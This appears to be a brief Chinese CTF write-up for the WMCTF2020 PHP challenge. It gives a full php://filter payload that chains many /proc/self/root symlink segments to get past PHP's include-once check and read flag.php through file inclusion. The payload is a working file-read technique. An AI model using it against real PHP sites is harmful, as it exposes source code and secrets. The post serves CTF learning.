PHP教程

[WMCTF2020]Make PHP Great Again

本文主要是介绍[WMCTF2020]Make PHP Great Again,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

[WMCTF2020]Make PHP Great Again

0x01前言

  • php小技巧

0x02php小技巧

/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。

payload=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

好像太长了就不行

QQ截图20211016105230

这篇关于[WMCTF2020]Make PHP Great Again的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!